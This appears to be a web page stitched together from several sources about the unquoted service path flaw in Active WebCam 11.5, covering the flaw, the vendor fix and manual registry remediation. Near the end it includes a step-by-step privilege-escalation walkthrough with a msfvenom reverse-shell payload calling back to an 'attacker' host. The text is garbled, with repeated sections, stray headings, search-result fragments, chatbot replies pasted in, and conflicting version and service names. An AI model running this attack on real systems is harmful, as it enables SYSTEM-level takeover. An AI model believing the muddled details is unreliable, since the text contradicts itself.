Active Webcam 115 Unquoted Service Path Patched

The phrase "active webcam 115 unquoted service path patched" refers to a security fix for a vulnerability in Active Webcam version 11.5. 🛡️ The Vulnerability

An Unquoted Service Path vulnerability occurs when a service executable path contains spaces and is not enclosed in quotation marks. This allows a local attacker to gain elevated privileges (SYSTEM) by placing a malicious executable (e.g., program.exe) in a parent directory. 🛠️ The Patch

The "patched" status indicates that the software's registry entry or installer was updated to include the necessary quotes.

Original (Vulnerable):C:\Program Files\Active Webcam\Webcam.exeWindows might try to run C:\Program.exe or C:\Program Files\Active.exe first.

Patched (Secure):"C:\Program Files\Active Webcam\Webcam.exe"Windows goes directly to the intended file. 🚀 Recommendation

Update Immediately: Ensure you are running version 11.6 or higher, or apply the latest security patches from the vendor.

Manual Check: You can verify your services by running this command in Command Prompt:wmic service get name, displayname, pathname, startmode | findstr /i "active webcam" | findstr /i /v """

Fix it Yourself: If it is still unquoted, you can manually edit the ImagePath value in the Windows Registry under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[ServiceName].

If you'd like, I can give you a step-by-step guide on how to manually fix unquoted paths in your Registry or help you find the official download link for the latest version.

Securing the Lens: Patching the Active WebCam 11.5 Privilege Escalation Vulnerability

Maintaining a secure surveillance system involves more than just monitoring your video feeds; it requires ensuring the software itself isn't a backdoor into your network. A critical security flaw, recently tracked as CVE-2021-47790, has been identified in Active WebCam version 11.5—a popular tool for live broadcasting and remote monitoring. The Vulnerability: Unquoted Service Path

The issue stems from a classic "Unquoted Service Path" misconfiguration. When the software is configured to "Start on Windows Startup" as a service, it creates a Windows service named ACTIVEWEBCAM.

Because the binary path for this service—typically C:\Program Files\Active WebCam\WebCam.exe—is not enclosed in double quotes, Windows interprets the spaces in "Program Files" and "Active WebCam" as potential breaks. A local attacker with low-level privileges can place a malicious executable (e.g., C:\Program.exe) in the path to hijack the service's execution. Why This Matters active webcam 115 unquoted service path patched

Privilege Escalation: Since Active WebCam often runs with LocalSystem privileges, an attacker who successfully exploits this path can execute arbitrary code with full administrative access to your machine.

Silent Compromise: The exploitation can happen automatically at system boot, allowing persistent malware to disable security software before the user even logs in. How to Patch and Stay Protected

While official vendor patches for older software can be slow, you can manually remediate this vulnerability by ensuring the service path is properly quoted in the Windows Registry. CVE-2021-47790 Detail - NVD

Active WebCam version 11.5 was found to have a critical security flaw known as an unquoted service path vulnerability (tracked as CVE-2021-47790). This allows a local attacker to gain administrative control over your computer. What is the Vulnerability?

An unquoted service path happens when a software's file path contains spaces but isn't wrapped in quotation marks in the Windows Registry.

When Windows tries to start the service, it reads the path one segment at a time. For example, if the path is C:\Program Files\Active WebCam\WebCam.exe, Windows might mistakenly try to run a malicious file named C:\Program.exe or C:\Program Files\Active.exe instead. How it was Patched

The software's developer, PY Software, addressed this issue in version 11.6. The fix simply involves adding quotes around the service's executable path in the Windows Registry, ensuring the operating system only runs the intended WebCam.exe file. Steps to Secure Your System

If you are still using version 11.5, you can secure it by following these steps: Active WebCam 11.5 - Unquoted Service Path | Advisories

Active WebCam 11.5. CVE CVE-2021-47790. CWE-428 Unquoted Search Path or Element. CVSS 8.5. CVSS V4 Vector CVSS:4.0/AV:L/AC:L/AT:N/ Active WebCam Download - 11.6 - TechSpot

About Active WebCam. Active WebCam captures images up to 30 frames per second from any video device including USB, analog cameras, Active WebCam Download - Webcam streaming app

7.3 Defense in Depth

Even if a service path is quoted, additional defenses include:

  • Running services as a non-privileged account.
  • Using Windows Defender Application Control (WDAC) or AppLocker.
  • Monitoring for suspicious processes spawned from C:\Program.exe or similar paths.

Part 2: The Vulnerability in Detail – Active Webcam 115

3. Audit Other Services

Run this PowerShell command to find other unquoted service paths on your system: The phrase "active webcam 115 unquoted service path

Get-WmiObject win32_service | Where-Object $_.PathName -notlike '"*' -and $_.PathName -like '* *' | Select Name, PathName

Part 2: Active Webcam 115 – Software Overview

Active Webcam is a popular Windows application developed by Pysoft. It turns a PC into a network-enabled surveillance system, supporting motion detection, image capture, email alerts, and remote access. Version 115 was a significant release with added IP camera support and performance enhancements.

Like many utilities of its era (late 2010s to early 2020s), Active Webcam installed a core Windows service to allow background monitoring without requiring a logged-in user. This service was typically named:

Active Webcam Service

And its binary path, when inspected via sc qc or the Registry (HKLM\SYSTEM\CurrentControlSet\Services), revealed the flaw.

Vulnerability Analysis: Active Webcam 115 and the Unquoted Service Path

Overview Active Webcam is a popular software solution by Pysoft used for video surveillance and security camera management. In version 11.5 (and potentially earlier iterations), the software was discovered to contain a classic Windows configuration vulnerability known as an Unquoted Service Path.

This vulnerability is categorized as a Local Privilege Escalation (LPE). It allows a low-privileged local user to execute arbitrary code with elevated privileges (typically SYSTEM), effectively granting them full control over the affected machine.

Technical Breakdown

The vulnerability stems from how the Windows Service Control Manager (SCM) handles file paths containing spaces.

  1. The Flaw: When Active Webcam 115 is installed, it creates a Windows service to manage the camera feeds and server functionality. The installation process sets the service path to a directory containing a space, but fails to encapsulate that path in quotation marks.

    • Vulnerable Path Example: C:\Program Files\Active Webcam\Webcam.exe
    • Secure Path Example: "C:\Program Files\Active Webcam\Webcam.exe"

  2. The Mechanism: When Windows attempts to start this service, the SCM parses the unquoted string from left to right. Because the path is unquoted and contains spaces, the SCM interprets the space as a break between the executable and its arguments. It attempts to execute the first valid executable it finds in the following order:

    1. C:\Program.exe
    2. C:\Program Files\Active.exe
    3. C:\Program Files\Active Webcam\Webcam.exe

  3. The Exploitation: By default, the C:\Program Files directory is write-protected for standard users. However, if a subfolder (like Active Webcam) has weak permissions—or if the attacker targets a path structure where they have write access—they can place a malicious executable named to match the truncated path (e.g., naming a malicious file Active.exe and placing it in C:\Program Files\Active Webcam\).

    When the computer restarts or the service is restarted, Windows locates the malicious Active.exe first, executes it with SYSTEM privileges, and compromises the machine.

The Patch and Resolution

The "patch" for this vulnerability is deceptively simple but critical for security hygiene.

  • Vendor Fix: In subsequent updates or patches provided by Pysoft, the service creation logic was updated to wrap the installation path in quotation marks (e.g., ImagePath value in the Windows Registry is updated to '"C:\Program Files\Active Webcam\Webcam.exe"').
  • Manual Mitigation: For systems where updating is not immediately possible, system administrators can manually patch the vulnerability by opening the Windows Registry (regedit), navigating to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ActiveWebCam (or similar service name), and editing the ImagePath value to include the quotes.

Why This Remains Interesting

While this is a "low-complexity" vulnerability compared to memory corruption exploits (like buffer overflows), it remains a fascinating case study for several reasons:

  1. Persistence of Legacy Code: This vulnerability highlights how old coding habits (assuming file paths are safe without quotes) persist in modern software. It is a recurring issue in Windows software development.
  2. Stealth: This is a logic-based flaw. There is no crashing application or memory leak to alert the user. The malicious code runs silently under the guise of a legitimate service.
  3. Penetration Testing Staple: This vulnerability is a standard check in professional penetration testing suites (like Metasploit or Nessus). The module exploit/windows/local/trusted_service_path is frequently used to demonstrate how easily a low-level user can become an Administrator or SYSTEM on a poorly configured machine.

Conclusion The Unquoted Service Path vulnerability in Active Webcam 115 serves as a reminder that security is not just about writing secure code logic, but also about secure configuration management. It emphasizes the importance of rigorous quality assurance during the software installation phase to ensure that the operating system interprets file paths exactly as the developer intended.

I see you've provided a snippet that seems to relate to a specific software or system vulnerability, particularly mentioning an "active webcam" and a reference to a service path that has been patched. Without more context, it's challenging to provide a detailed response. However, I can offer some general advice on how to approach such a situation, focusing on cybersecurity best practices.

Step-by-Step Attack Simulation (Pre-Patch)

  1. Enumerate services – wmic service get name,displayname,pathname,startmode
    Identify ActiveWebcam115 with unquoted path.

  2. Check write access – icacls "C:\"
    If BUILTIN\Users has (W) or (F), exploitation is possible.

  3. Create malicious payload – e.g., Program.exe using msfvenom:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=4444 -f exe -o C:\Program.exe

  4. Trigger service restart – net stop ActiveWebcam115 && net start ActiveWebcam115

  5. Obtain SYSTEM shell – The malicious Program.exe runs as SYSTEM, granting full control.

This exploit was weaponized in multiple red-team exercises and real-world attacks before the patch.

A Broader Lesson: Why Unquoted Paths Persist

The unquoted service path vulnerability has been documented for over a decade. It persists because: Running services as a non-privileged account

  • Many developers copy service installation examples without quotes.
  • Testing under admin accounts masks the issue (the attacker needs only low privileges).
  • Automated security scanners often miss it unless privilege escalation is tested.

For End Users

  • Update immediately – Download the latest version from the official Active Webcam website. Do not use third-party mirrors.
  • Verify the patch – Use the PowerShell command above.
  • Limit user privileges – Ensure standard users cannot write to C:\ or C:\Program Files. Use icacls to tighten permissions.